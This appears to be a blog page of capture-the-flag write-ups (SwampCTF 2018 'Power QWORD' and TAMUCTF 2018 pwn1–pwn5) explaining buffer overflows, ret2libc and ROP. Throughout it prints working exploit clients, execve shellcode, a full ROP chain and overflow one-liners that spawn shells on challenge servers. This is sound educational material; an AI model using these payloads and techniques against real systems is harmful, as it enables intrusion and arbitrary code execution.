Showing posts with label ret2libc. Show all posts
Showing posts with label ret2libc. Show all posts

Monday, April 2, 2018

SwampCTF 2018 - Power QWORD


Resources & Description:

The darkness increases as you descend down the stone steps towards The Source. The last vestiges of soft light begin to fade and a red haze starts to permeate the air. Suddenly, as you step on to a landing a MAGE blocks the way. He says...

Connect 
nc chal1.swampctf.com 1999

-=Created By: digitalcold=-


When running this binary initially we're prompted with the following question:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no):

Of Course....




Looking at the checksec report we get:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Everything enabled + ASLR on the server! Great!

Looking at the instructions, after accepting the magic of exploitation, we see it reads a single QWORD to overwrite saved RIP.


Notice also they generously provided a leak to libc system, as reflected in the stdout:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): yes
Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you 0x7fd2fc20d590]
      and speak the Power QWord:
...

So we only have one gadget to work with, what are we going to do?

Well, we could call something like gets to read more data onto the stack and return to it, so let's try that!

First let's make a client. I chose to use pwnup to record initial interactions and dump a simple python script:

#!/usr/bin/env python
from pwn import *

r = process('power')

def main():
  print(r.recvuntil('lieve in such things? (yes/no): '))
  r.send('yes\n')
  print(r.recvuntil('     and speak the Power QWord: '))
  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

We can refine this client to parse the libc system address and calculate the base address using the libc version provided:

#!/usr/bin/env python
from pwn import *
from pwnlib.util.safeeval import const

r = process('power')
libc = ELF('./libc.so.6')

def main():
  print(r.recvuntil(': '))
  r.send('yes\n')
  print r.recvuntil('the mage hands you')
  leak = r.recvuntil(']').lstrip(' ').rstrip(']')
  print r.recvuntil('QWord:')

  system = const(leak)
  base = system - libc.symbols['__libc_system']

  print 'base: {}'.format(hex(base))
  print 'system: {}'.format(hex(system))

  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

Now we can calculate the offset of _IO_gets, /bin/sh and a simple pop rdi gadget to setup the call to system (pwntools makes this all very simple):

  system = const(leak)
  base = system - libc.symbols['__libc_system']
  gets = base + libc.symbols['_IO_gets']
  binsh = base + libc.search('/bin/sh').next()
  pop_rdi = base + libc.search(asm('pop rdi; ret;')).next()

  print 'base: {}'.format(hex(base))
  print 'pop rdi: {}'.format(hex(pop_rdi))
  print 'system: {}'.format(hex(system))
  print '/bin/sh: {}'.format(hex(binsh))

Setting up the payload we get the following chain:

payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system)

With that, the full client looks something like this:

Running this against the server we get a shell! : )

[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal1.swampctf.com on port 1999: Done
Mage:
The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you

      and speak the Power QWord:
base: 0x7fd4f0017000
pop rdi: 0x7fd4f0038102
system: 0x7fd4f005c390
/bin/sh: 0x7fd4f01a3d57
[*] Switching to interactive mode
 $ ls -la
total 28
drwxr-x--- 1 root ctf   4096 Mar 30 15:24 .
drwxr-xr-x 1 root root  4096 Mar 26 07:15 ..
-r--r--r-- 1 root ctf     29 Mar 30 15:24 flag
-r-xr-xr-x 1 root ctf  13024 Mar 30 15:24 power
$ cat flag
flag{m4g1c_1s_4ll_ar0Und_u5}

Monday, February 26, 2018

TAMUCTF 2018 - pwn*


The following is a writeup for all pwn challenges found in TAMUCTF 2018:


Pwn 1


This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.



$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321

This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}


Pwn 2


The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.

Running pwn2, we see it echos back some text by calling an echo function:

$ ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAA
AAAA

We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:

$ ltrace -i ./pwn2
[0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650 
[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x8048628] puts("I just love repeating what other"...I just love repeating what other people say!
)                                          = 45
[0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me!
)                                          = 41
[0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x80485de] gets(0xffc22679, 2, 0, 0AAAA
)                                                            = 0xffc22679
[0x80485f0] puts("AAAA"AAAA
)                                                                         = 5
[0xffffffffffffffff] +++ exited (status 0) +++

Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:



Playing with the buffers until we hit EIP:

$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Then we just insert the address of print_flag [0x804854b], using pwntools for packing:

$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}


Pwn 3


pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:


First just running this binary we get:

Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xffb837fa!
Now what should I echo? AAAA
AAAA

What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!


We can see the EIP overwrite is 242 bytes in:

$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.

To do this, I wrote a small client:

#!/usr/bin/env python
from pwn import *

#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)

NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '

def main():
  result = r.recvuntil(LEAK_STR)
  result = result.split('\n')[5].split('0x')[-1].rstrip('!')
  stack = result.decode('hex')[::-1]

  payload = SC + NOP * (242 - len(SC)) + stack
  r.sendline(payload)
  r.interactive()

if __name__ == "__main__":
  main()

Running we get a shell and cat the flag:

$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
                          ̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}


Pwn 4


In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:


It looks like the binary has NX enabled:



We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:

pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4            0x804a038 u'/bin/sh'

That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:

$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Tying that all together, we get:

(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command

cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}


Pwn 5


This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:



First it would be nice to automate stdin for this challenge with a small PoC client:

#!/usr/bin/env python
from pwn import *
from struct import pack

r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)

# requires tmux to run
context(terminal = ['tmux', 'splitw'])

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  gdb.attach(r, 'c')
  r.sendline('AAAA')
  r.interactive()

if __name__ == "__main__":
  main()


We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.

If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.

Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:

$ ropper --file ./pwn5 --chain execve

Dumping that into our existing client, we get:

#!/usr/bin/env python
from pwn import *
from struct import pack

#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)

IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)

rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  r.sendline('A'*32 + rop)
  r.interactive()

if __name__ == "__main__":
  main()

Then we run it and cat the flag:

$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}